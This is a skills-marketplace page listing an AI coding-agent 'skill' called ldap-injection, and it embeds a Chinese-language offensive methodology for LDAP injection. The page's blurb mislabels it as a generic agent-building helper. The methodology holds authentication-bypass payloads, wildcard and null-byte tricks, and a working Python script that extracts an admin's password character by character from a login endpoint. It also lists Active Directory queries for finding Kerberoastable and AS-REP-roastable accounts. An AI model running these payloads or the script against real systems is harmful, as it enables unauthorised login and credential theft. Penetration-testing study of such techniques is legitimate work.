Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Ldap Injection

  • 11 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

ldap-injection is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • ldap-injection
  • AI & Agent Building
  • AI-coding skill

Ldap Injection by the numbers

  • 11 all-time installs (skills.sh)
  • Ranked #11,740 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ldap-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs11
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

LDAP 注入方法论

LDAP(轻量目录访问协议)广泛用于企业用户认证和目录查询。当应用将用户输入直接拼接到 LDAP 搜索过滤器中时,攻击者可以修改查询逻辑来绕过认证或提取目录数据。

Phase 0: 识别 LDAP 后端

信号含义
登录表单中有"域\用户名"或"user@domain.com"格式可能是 LDAP/AD 认证
端口 389(LDAP)/636(LDAPS)/3268(Global Catalog) 开放确认 LDAP 服务
错误信息含 LDAPjavax.namingldap_bind确认 LDAP 后端
URL 参数中有 uidcnoudcsAMAccountNameLDAP 属性名
使用 Active Directory 集成认证的 Web 应用LDAP 查询

LDAP 过滤器语法速查

LDAP 使用前缀表达式(波兰记法):

# 基础
(uid=john)                    # uid 等于 john
(cn=John Smith)               # cn 等于 John Smith

# 通配符
(uid=j*)                      # uid 以 j 开头
(uid=*john*)                  # uid 包含 john

# 逻辑操作
(&(uid=john)(password=pass))  # AND
(|(uid=john)(uid=admin))      # OR
(!(uid=guest))                # NOT

# 组合
(&(objectClass=user)(|(uid=john)(uid=admin)))

Phase 1: 认证绕过

1.1 基础注入

假设后端查询为:(&(uid=INPUT_USER)(userPassword=INPUT_PASS))

# 注入用户名字段
用户名: *)(uid=*))(|(uid=*
密码: anything
→ 查询变为: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
→ 第一个过滤器 (uid=*) 匹配所有用户

# 或更简单:
用户名: *
密码: *
→ (&(uid=*)(userPassword=*)) → 匹配所有有密码的用户

# 闭合括号绕过
用户名: admin)(&)
密码: anything
→ (&(uid=admin)(&))(userPassword=anything)
→ (&) 是 LDAP 的 TRUE,永远为真

# 注释截断(某些实现支持)
用户名: admin)%00
密码: anything
→ (&(uid=admin)\x00)(userPassword=anything)
→ NULL 字节截断后面的密码检查

1.2 通配符认证绕过

# 如果只知道用户名前缀
用户名: adm*
密码: *
→ (&(uid=adm*)(userPassword=*)) → 匹配 admin/administrator 等

# 枚举有效用户名
用户名: a* → 有响应?用户名以 a 开头
用户名: ad* → 有响应?用户名以 ad 开头
用户名: adm* → 有响应?...

1.3 OR 注入

# 注入 OR 条件
用户名: admin)(|(password=*
密码: anything
→ (&(uid=admin)(|(password=*)(userPassword=anything)))
→ OR 条件使密码检查无效

# 另一种 OR 绕过
用户名: *)(|(objectClass=*
密码: test)
→ (&(uid=*)(|(objectClass=*)(userPassword=test)))

Phase 2: 数据提取(盲注)

2.1 属性值盲注

通过通配符逐字符猜测属性值:

# 猜测 admin 的密码
(&(uid=admin)(userPassword=a*))  → 响应不同?密码以 a 开头
(&(uid=admin)(userPassword=ab*)) → 继续...
(&(uid=admin)(userPassword=abc*))

# 猜测 description 字段(可能含敏感信息)
(&(uid=admin)(description=flag*))
(&(uid=admin)(description=flag{*))

2.2 属性存在性探测

# 探测用户有哪些属性
(&(uid=admin)(telephoneNumber=*))  → 有电话号码?
(&(uid=admin)(mail=*))             → 有邮箱?
(&(uid=admin)(userPassword=*))     → 有密码?
(&(uid=admin)(sshPublicKey=*))     → 有 SSH 公钥?

# AD 环境特有属性
(&(sAMAccountName=admin)(adminCount=1))      → 是管理员?
(&(sAMAccountName=admin)(memberOf=*admin*))  → 在管理组中?

2.3 自动化盲注脚本

#!/usr/bin/env python3
"""LDAP 盲注数据提取"""
import requests
import string

URL = "http://TARGET/login"
CHARSET = string.ascii_lowercase + string.digits + "_{}-@."
ATTR = "userPassword"

def check(username_payload):
    """发送 LDAP 注入请求"""
    data = {
        "username": username_payload,
        "password": "anything"
    }
    r = requests.post(URL, data=data)
    # 根据响应差异判断(长度/内容/状态码/重定向)
    return "Welcome" in r.text or r.status_code == 302

def extract(target_user, attribute):
    """逐字符提取属性值"""
    result = ""
    while True:
        found = False
        for c in CHARSET:
            # 注入: admin)(ATTR=result+c*
            payload = f"{target_user})({attribute}={result}{c}*"
            if check(payload):
                result += c
                print(f"[+] {attribute}: {result}")
                found = True
                break
        if not found:
            break
    return result

if __name__ == "__main__":
    pwd = extract("admin", "userPassword")
    print(f"[+] Extracted: {pwd}")

Phase 3: 目录遍历

如果注入点在搜索查询(非认证)中:

# 提取所有用户
(&(objectClass=user)(uid=*))

# 提取管理员
(&(objectClass=user)(adminCount=1))

# 提取服务账户
(&(objectClass=user)(servicePrincipalName=*))

# 提取计算机
(&(objectClass=computer)(cn=*))

# 搜索特定组的成员
(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))

Phase 4: 特殊技巧

4.1 NULL 字节截断

# 某些 LDAP 实现(如 OpenLDAP 旧版)支持 NULL 字节截断
admin)%00
→ 截断后面的密码过滤器

4.2 特殊字符转义绕过

LDAP 需要转义的字符:* ( ) \ NUL

# 如果应用转义了 *,尝试:
\2a  →  * 的十六进制转义
\28  →  ( 的十六进制转义
\29  →  ) 的十六进制转义

4.3 LDAP 与 AD 结合

如果 LDAP 后端是 Active Directory:

# 获取域管列表
(&(objectCategory=person)(adminCount=1))

# 获取 Kerberoastable 账户
(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))

# 获取 AS-REP Roastable 账户  
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

# 获取密码永不过期账户
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))

决策树

发现 LDAP 认证入口
├── 尝试 */* → 认证绕过?
├── 尝试 admin)(&)/ → 闭合+TRUE 绕过?
├── 尝试 admin)%00/ → NULL 截断?
├── 以上都失败
│   ├── 检查错误信息 → 确认是否 LDAP
│   ├── 检查通配符 a*/b*/c* → 用户名枚举
│   └── 非 LDAP → 尝试 SQL 注入
└── 认证成功或有注入点
    ├── 盲注提取密码/属性
    ├── 遍历目录(用户/组/计算机)
    └── AD 环境 → Kerberoast/AS-REP 目标发现

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.